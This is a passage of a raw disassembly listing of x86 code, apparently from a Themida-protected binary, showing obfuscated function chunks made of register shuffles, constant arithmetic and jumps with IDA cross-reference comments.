SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00561935 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056255D SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056354B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00563DB0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056B5EE SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056D740 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056F29E SIZE 0000000E BYTES sub esp, 4 mov [esp-4+arg_0], ecx mov ecx, 4 sub esp, 4 mov [esp+0], edi jmp loc_56D740 sub_5715F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D3AF loc_57160C: ; CODE XREF: sub_56D3AF-B949j add esi, ebx add esi, 3A6D035Dh mov ebx, [esp+0Ch+var_C] add esp, 4 add esi, 4 push esi push [esp+0Ch+var_8] pop esi pop [esp+0Ch+var_C] jmp loc_5697FA ; END OF FUNCTION CHUNK FOR sub_56D3AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574000 loc_571631: ; CODE XREF: sub_574000-1B4Aj add esp, 4 push 58A1h jmp loc_56FB60 ; END OF FUNCTION CHUNK FOR sub_574000 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_57163E: ; CODE XREF: sub_561541+10A22j add esi, eax pop eax push eax mov eax, 4 sub esi, eax pop eax xor esi, [esp+4+var_4] jmp loc_5601E6 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_571652: ; CODE XREF: sub_57549C-13850j pop edx sub edi, 0FBD9CBD2h sub eax, edi jmp loc_573897 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568CD2 loc_571660: ; CODE XREF: sub_568CD2+938Ej pop esp mov [esp+0], edi push 1E9Fh jmp loc_5676A5 ; END OF FUNCTION CHUNK FOR sub_568CD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5753A5 loc_57166E: ; CODE XREF: sub_5753A5+4j push 81Eh mov [esp+4+var_4], ebp mov ebp, esp jmp loc_56FC1E ; END OF FUNCTION CHUNK FOR sub_5753A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5666C3 loc_57167D: ; CODE XREF: sub_5666C3+8j mov ebx, [esp-8+arg_4] add esp, 4 push edi jmp loc_56E78B ; END OF FUNCTION CHUNK FOR sub_5666C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_57168C: ; CODE XREF: sub_57549C-C689j mov ebp, [esp+8+var_8] add esp, 4 push ecx mov ecx, esp push eax mov eax, esp jmp loc_574D72 ; END OF FUNCTION CHUNK FOR sub_57549C ; =============== S U B R O U T I N E ======================================= sub_5716A0 proc near ; CODE XREF: sub_567B29+2565j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561854 SIZE 0000003B BYTES push ebx jmp loc_561854 sub_5716A0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D9E loc_5716A6: ; CODE XREF: sub_568D9E+1B42j not edi jmp loc_56A5CB ; END OF FUNCTION CHUNK FOR sub_568D9E ; --------------------------------------------------------------------------- loc_5716AD: ; CODE XREF: Themida_:00573328j mov esi, 4 jmp loc_56EF59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_5716B7: ; CODE XREF: sub_563A7F+1A4Aj mov [esp+12h+var_14+2], ebp jmp loc_566781 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_5716BF: ; CODE XREF: sub_561418+7229j pop edi xor edx, ebp jmp loc_5701C2 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D589 loc_5716C7: ; CODE XREF: sub_56D589+6j xor ebp, ebx pop ebx jmp sub_5735AA ; END OF FUNCTION CHUNK FOR sub_56D589 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_5716CF: ; CODE XREF: sub_572DD7+13j push [esp+8+var_8] pop edi push 655Fh mov [esp+0Ch+var_C], esi push esp pop esi add esi, 4 jmp loc_56FA5C ; END OF FUNCTION CHUNK FOR sub_572DD7 ; =============== S U B R O U T I N E ======================================= sub_5716E8 proc near ; DATA XREF: Themida_:0055FD38o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056D7B8 SIZE 0000000D BYTES mov ax, [esp+0] jmp loc_56D7B8 sub_5716E8 endp ; =============== S U B R O U T I N E ======================================= sub_5716F1 proc near ; CODE XREF: sub_569AB3+AF45j var_C = dword ptr -0Ch arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00563E23 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00569A1C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056E15B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00571DD6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0057259C SIZE 0000001F BYTES push ebx push edi push 2F5D2996h mov edi, [esp+0] add esp, 4 jmp loc_569A1C sub_5716F1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56959A loc_571703: ; CODE XREF: sub_56959A-45Bj xchg ecx, [esp+8+var_8] jmp loc_56C241 ; END OF FUNCTION CHUNK FOR sub_56959A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BC97 loc_57170B: ; CODE XREF: sub_56BC97+7382j push esi mov esi, 2 jmp loc_56CD39 ; END OF FUNCTION CHUNK FOR sub_56BC97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57236D loc_571716: ; CODE XREF: sub_57236D+17j mov esi, 4 add eax, esi jmp loc_567553 ; END OF FUNCTION CHUNK FOR sub_57236D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564BC5 loc_571722: ; CODE XREF: sub_564BC5+62D4j sub ebp, 0FFFFFFFFh xchg ebp, edx shl edx, 8 push 46A3h jmp loc_56BD2E ; END OF FUNCTION CHUNK FOR sub_564BC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D69D loc_571737: ; CODE XREF: sub_56D69D-9BA8j pop ebp jmp loc_5695CF ; END OF FUNCTION CHUNK FOR sub_56D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_57173D: ; CODE XREF: sub_56628B+Cj add esp, 4 push ebx mov ebx, 6EB07CBh jmp loc_567D8C ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_57174B: ; CODE XREF: sub_563A7F-291Dj inc cl jmp loc_568E18 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- loc_571752: ; CODE XREF: Themida_:00570A63j mul cl jmp loc_5638AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D0B7 loc_571759: ; CODE XREF: sub_56D0B7-B36Cj mov eax, [esp-8+arg_4] push 71h mov [esp-4+arg_0], edi mov edi, esp add edi, 4 push ebx mov ebx, 4 add edi, ebx pop ebx xchg edi, [esp-4+arg_0] mov esp, [esp-4+arg_0] push 40Ch mov [esp+0], eax mov eax, 2 sub ebp, eax mov eax, [esp+0] jmp sub_574B8A ; END OF FUNCTION CHUNK FOR sub_56D0B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_571792: ; CODE XREF: sub_560EA2+DF84j mov eax, 10BA0687h not eax add eax, 0B9A4CD7Eh jmp loc_573F4A ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_5717A3: ; CODE XREF: sub_57146D-14D3j pop edx add esp, 4 push edx mov dh, 2Ah add bl, dh jmp loc_56B80A ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5717B1: ; CODE XREF: sub_57354D-3200j push esp jmp loc_562DDF ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_5717B7: ; CODE XREF: sub_5754DA-1350Cj mov [esp+8+var_8], ebx mov bl, 79h shl bl, 5 sub bl, 0B4h and bl, 5Ch xor bl, 94h xchg cl, bl not cl xchg cl, bl inc bl shl bl, 8 xor bl, 5Ch sub al, bl push [esp+8+var_8] pop ebx add esp, 4 push cx jmp loc_56A229 ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_5717E9: ; CODE XREF: sub_574656+3C6j pop esp push 7A63h mov [esp+14h+var_14], eax push esi pop eax mov ebp, eax pop eax jmp loc_56FFFF ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5717FC: ; CODE XREF: sub_57354D-8066j inc ecx or ecx, 2694E2Eh sub ecx, 0CAF683Eh xor ecx, 6F782B36h xor esi, ecx pop ecx or edx, esi pop esi jmp loc_5745BB ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_57181A: ; CODE XREF: sub_561418+1FDAj push edi push 2832h mov [esp+1Ch+var_1C], ecx mov ecx, 635529EEh neg ecx sub ecx, 2C9D1FD3h and ecx, 7CD65AA4h add ecx, 6DEEF5Fh mov edi, ecx pop ecx add edi, 602321E0h not edi jmp loc_57220E ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- loc_57184C: ; CODE XREF: Themida_:0057410Ej add ebx, ecx pop ecx push ebp mov ebp, 34782AB8h sub ebp, 0B878D5B8h sub ebx, ebp jmp loc_5701F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_571862: ; CODE XREF: sub_57354D-694Fj push 78A6h mov [esp+0Ch+var_C], esi mov eax, [esp+0Ch+var_C] add esp, 4 jmp loc_5687FB ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_571875: ; CODE XREF: sub_5678CB-3AADj and ebx, 4BE242DCh not ebx and ebx, 50400AC3h xor ebx, 5BF23F6Fh and ebp, ebx jmp loc_5751A3 ; END OF FUNCTION CHUNK FOR sub_5678CB ; =============== S U B R O U T I N E ======================================= sub_571890 proc near ; DATA XREF: Themida_:0055FEFCo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = word ptr 10h ; FUNCTION CHUNK AT 005614F7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00561AD8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056322B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005638F4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00567000 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00568466 SIZE 00000040 BYTES ; FUNCTION CHUNK AT 00568BDC SIZE 0000003D BYTES ; FUNCTION CHUNK AT 005698E7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056AF6B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056BAFC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056F355 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056F4DE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056FF3D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0057059C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057078F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00573A5B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00574EE8 SIZE 00000016 BYTES mov cx, [esp+0] sub esp, 4 jmp loc_57078F sub_571890 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_57189C: ; CODE XREF: sub_572641-D706j pop ebx push 2C3h mov [esp+4+var_4], edx mov dl, 7Ch and dl, 0F3h push ebp mov ebp, esp add ebp, 4 jmp loc_5705C9 ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_5718B8: ; CODE XREF: sub_560844+32j mov [esp+0], ebx jmp loc_56CF3C ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_5718C0: ; CODE XREF: sub_567D31-2963j mov ebp, 3D0015Ah or ebp, 5DCC3E3Ah inc ebp xor ebp, 24135872h add ebp, 3C6D1AC1h xor ebp, 0D9AAF922h add esi, ebp pop ebp jmp loc_568B10 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E4D4 loc_5718E6: ; CODE XREF: sub_56E4D4-5C4Dj push 13273709h pop ebx sub ebx, 0EC5B2ACEh mov edi, ebx jmp loc_5726C9 ; END OF FUNCTION CHUNK FOR sub_56E4D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_5718F9: ; CODE XREF: sub_56FA15+543Dj xor dl, al mov eax, [esp+14h+var_14] add esp, 4 xor dl, cl pop ecx push eax push ebx mov bh, dl mov ah, bh jmp loc_56C0D6 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_571912: ; CODE XREF: sub_570CE4-65DDj shl eax, 7 add eax, 4973B672h mov ecx, eax jmp loc_56808E ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E5BB loc_571921: ; CODE XREF: sub_56E5BB-3DA0j mov [esp+8+var_8], ecx push [esp+8+var_4] mov ecx, [esp+0Ch+var_C] push 3C35h mov [esp+10h+var_10], edx push esp mov edx, [esp+14h+var_14] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+18h+var_18] pop esp push edi push ebx mov ebx, 4 mov edi, ebx jmp loc_5611F6 ; END OF FUNCTION CHUNK FOR sub_56E5BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_571958: ; CODE XREF: sub_565632+6CC4j mov edx, eax jmp loc_572A4C ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_57195F: ; CODE XREF: sub_561027+1D29j mov [esp-4+arg_0], eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp-4+arg_0] jmp loc_5643FF ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_571974: ; CODE XREF: sub_567D31+1D1Cj mov [esp+4+var_4], ebx pop edx push esi push edx push edi jmp loc_56C60A ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- loc_571980: ; CODE XREF: Themida_:005642B1j pop esp mov [esp], ebp mov ebp, 4 add ecx, 51FD097Eh add ecx, 75272EB2h sub ecx, ebp push esi jmp loc_571CD1 ; =============== S U B R O U T I N E ======================================= sub_57199D proc near ; CODE XREF: sub_5680AC+49DEj var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005607E9 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00567E1A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056C511 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0057049D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00570F77 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005735DA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005744FC SIZE 00000007 BYTES push ebx mov ebx, esp jmp loc_570F77 sub_57199D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DFE loc_5719A5: ; CODE XREF: sub_566DFE+66EEj sub edi, 7E54DFA8h mov eax, edi pop edi shl eax, 3 jmp loc_5673AB ; END OF FUNCTION CHUNK FOR sub_566DFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A75 loc_5719B6: ; CODE XREF: sub_569A75-7DBBj mov edx, [esp+0] add esp, 4 jmp sub_5620B7 ; END OF FUNCTION CHUNK FOR sub_569A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_5719C1: ; CODE XREF: sub_56AEF2+3949j mov edx, [esp-18h+arg_14] add esp, 4 add bl, 49h sub bl, 0B4h jmp loc_568BC9 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570B3C loc_5719D5: ; CODE XREF: sub_570B3C-7508j pop edi push esi mov esi, 73A25C98h or esi, 0EED3807h jmp loc_570657 ; END OF FUNCTION CHUNK FOR sub_570B3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_5719E7: ; CODE XREF: sub_56241E-68j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_5719EC: ; CODE XREF: sub_56CC46-D7Ej mov edx, 6C323DF3h add edx, 0A823A57h add ecx, edx pop edx pop esi add edx, ecx mov ecx, [esp+4+var_4] add esp, 4 add edx, ebp jmp loc_56FB0C ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_571A0D: ; CODE XREF: sub_5678CB-FD6j mov dh, 0ACh neg dh not dh jmp loc_57265C ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_571A18: ; CODE XREF: sub_574304-13196j add ebp, 4 push ebx mov ebx, 4 sub ebp, ebx pop ebx jmp loc_56F1B1 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A423 loc_571A2C: ; CODE XREF: sub_56A423+2545j mov edx, ecx jmp loc_573EA1 ; END OF FUNCTION CHUNK FOR sub_56A423 ; --------------------------------------------------------------------------- loc_571A33: ; CODE XREF: Themida_:005694C5j pop esi push eax jmp loc_561672 ; --------------------------------------------------------------------------- loc_571A3A: ; CODE XREF: Themida_:005646C9j pop ebx sub esp, 4 mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_56F7FE ; =============== S U B R O U T I N E ======================================= sub_571A50 proc near ; DATA XREF: Themida_:0055FF40o mov ax, [esp+0] jmp sub_56A423 sub_571A50 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A608 loc_571A59: ; CODE XREF: sub_56A608+341Aj push eax jmp loc_566351 ; END OF FUNCTION CHUNK FOR sub_56A608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CFE loc_571A5F: ; CODE XREF: sub_567CFE+14j sub edx, 391E00A7h sub edi, edx pop edx mov ecx, edi pop edi or ecx, 2C141F1Fh inc ecx push eax jmp loc_5659F9 ; END OF FUNCTION CHUNK FOR sub_567CFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747D7 loc_571A78: ; CODE XREF: sub_5747D7-7C16j pop edi add eax, 4 jmp loc_562097 ; END OF FUNCTION CHUNK FOR sub_5747D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_571A81: ; CODE XREF: sub_56BD44-76B0j push 7079641Ch pop ebp shl ebp, 6 xor ebp, 4EB8043Ah jmp loc_563BAA ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_571A95: ; CODE XREF: sub_57549C-19F9j neg ecx not ecx inc ecx or ecx, 3F327B34h push ebx mov ebx, 78F31895h jmp loc_560C26 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_571AAB: ; CODE XREF: sub_569DB5+B118j pop edx mov esi, [esp+4+var_4] jmp sub_5726BB ; END OF FUNCTION CHUNK FOR sub_569DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_571AB4: ; CODE XREF: sub_574949-4922j add esp, 4 mov dh, ch jmp loc_5681AD ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57117B loc_571ABE: ; CODE XREF: sub_57117B+1F5Aj add cl, 4Ah jmp loc_5657EA ; END OF FUNCTION CHUNK FOR sub_57117B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_571AC6: ; CODE XREF: sub_563FA2+59Ej mov eax, [esp+4+var_4] add esp, 4 sub ecx, 4 xchg ecx, [esp+0] jmp loc_56AD55 ; END OF FUNCTION CHUNK FOR sub_563FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_571ADA: ; CODE XREF: sub_572075-B4D5j mov [esp+0], ecx jmp loc_56FDBA ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5697F2 loc_571AE2: ; CODE XREF: sub_5697F2+3j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5697F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564020 loc_571AE7: ; CODE XREF: sub_564020+F33Fj not edx add edx, 667C75CEh add ebx, 63142728h add ebx, edx sub ebx, 63142728h mov edx, [esp-4+arg_0] jmp loc_56E360 ; END OF FUNCTION CHUNK FOR sub_564020 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_571B05: ; CODE XREF: sub_56FA15-700Cj add esp, 2 jmp loc_56F903 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_571B0D: ; CODE XREF: sub_5620B7+E8B5j mov bh, 96h not bh not bh sub bh, 0F2h sub cl, 97h add cl, 82h sub cl, bh sub cl, 82h push ebx mov bh, 97h add cl, bh pop ebx pop ebx xor dl, cl pop ecx and dl, 0ACh sub dl, 8Dh sub esp, 4 mov dword ptr [esp+0Eh+var_E], eax jmp loc_570330 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_571B3F: ; CODE XREF: sub_561027+103C2j push esi mov esi, 6DBB0903h shr esi, 6 xor esi, 31474559h xor esi, 7BC4451Ch push 387Eh mov [esp+20h+var_20], esi not [esp+20h+var_20] pop esi jmp loc_573270 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- loc_571B65: ; CODE XREF: Themida_:0056D767j pop ebx jmp loc_56785E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_571B6B: ; CODE XREF: sub_5605BC+80EDj pop esp push 6EC7h jmp loc_56EC17 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A75 loc_571B76: ; CODE XREF: sub_569A75-8A0Fj sub al, bh mov bx, [esp+2+var_2] jmp loc_5676FF ; END OF FUNCTION CHUNK FOR sub_569A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_571B81: ; CODE XREF: sub_56FB8A-6EBDj add ebp, edi pop edi add ebx, 671E3DCBh jmp loc_5632B5 ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_571B8F: ; CODE XREF: sub_5734A7-12919j neg edi push edx mov edx, 463E1E76h shr edx, 2 jmp loc_5616BD ; END OF FUNCTION CHUNK FOR sub_5734A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569CBC loc_571B9F: ; CODE XREF: sub_569CBC-9BA2j mov [esp+4+var_4], eax push [esp+4+var_4] push [esp+8+var_8] mov eax, [esp+0Ch+var_C] push edi jmp loc_565AA0 ; END OF FUNCTION CHUNK FOR sub_569CBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_571BB1: ; CODE XREF: sub_57354D-116C9j xor edx, eax xor eax, edx jmp loc_56A17B ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_571BBA: ; CODE XREF: sub_5605BC+B9B8j or ebp, 4F0E03DDh push ecx jmp loc_56700B ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- loc_571BC6: ; CODE XREF: Themida_:00565870j pop eax xor ebx, eax xor eax, ebx xor ebx, eax sub ebx, 8C43AEB4h jmp loc_572B5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574000 loc_571BD8: ; CODE XREF: sub_574000-45F0j xor eax, [esp+8+var_8] pop esp ror word ptr [esp+4+var_4], cl pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_574000 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_571BE6: ; CODE XREF: sub_569FB8-9150j mov [esp+2+var_2], bx push 7FE6h jmp loc_56AA8D ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- loc_571BF4: ; CODE XREF: Themida_:0057506Bj pop edi add [esp+4], edx sub dword ptr [esp+4], 7B651958h mov edx, [esp] push esi jmp loc_56E48A ; =============== S U B R O U T I N E ======================================= sub_571C0A proc near ; CODE XREF: sub_56B11B-4053j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005605CD SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00562FB3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005659A1 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00566BD8 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00567D17 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056888C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00568F03 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005692C6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056EFF9 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0057125C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0057493F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00574BE1 SIZE 0000000A BYTES push ebx jmp loc_57493F sub_571C0A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_571C10: ; CODE XREF: sub_57354D-840Fj push ecx mov ecx, esp add ecx, 4 jmp loc_57118D ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1DB loc_571C1E: ; CODE XREF: sub_56F1DB-8296j xchg eax, [esp+0] pop esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+0] jmp loc_56F4F2 ; END OF FUNCTION CHUNK FOR sub_56F1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_571C39: ; CODE XREF: sub_57354D-C085j pop eax xor eax, 47252180h mov ebp, [esp+0] push eax push esp jmp loc_5658C0 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_571C49: ; CODE XREF: sub_568E5C+6j mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop esi add esi, 4 push ebp mov ebp, 4 add esi, ebp pop ebp xor esi, [esp+0] jmp loc_5707C4 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_571C68: ; CODE XREF: sub_564D26+35F5j mov [esp+4+var_4], edi mov edi, 1190E110h jmp loc_56E39C ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C4FF loc_571C75: ; CODE XREF: sub_56C4FF-57E9j pop edx push ecx not [esp+8+var_8] pop ecx jmp loc_5688BF ; END OF FUNCTION CHUNK FOR sub_56C4FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_571C80: ; CODE XREF: sub_574304-10996j add esp, 4 jmp loc_571DA1 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_571C8B: ; CODE XREF: sub_574656-DDB9j push esi push esp pop esi jmp loc_568716 ; END OF FUNCTION CHUNK FOR sub_574656 ; =============== S U B R O U T I N E ======================================= sub_571C93 proc near ; CODE XREF: sub_560EA2+2583j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005601B6 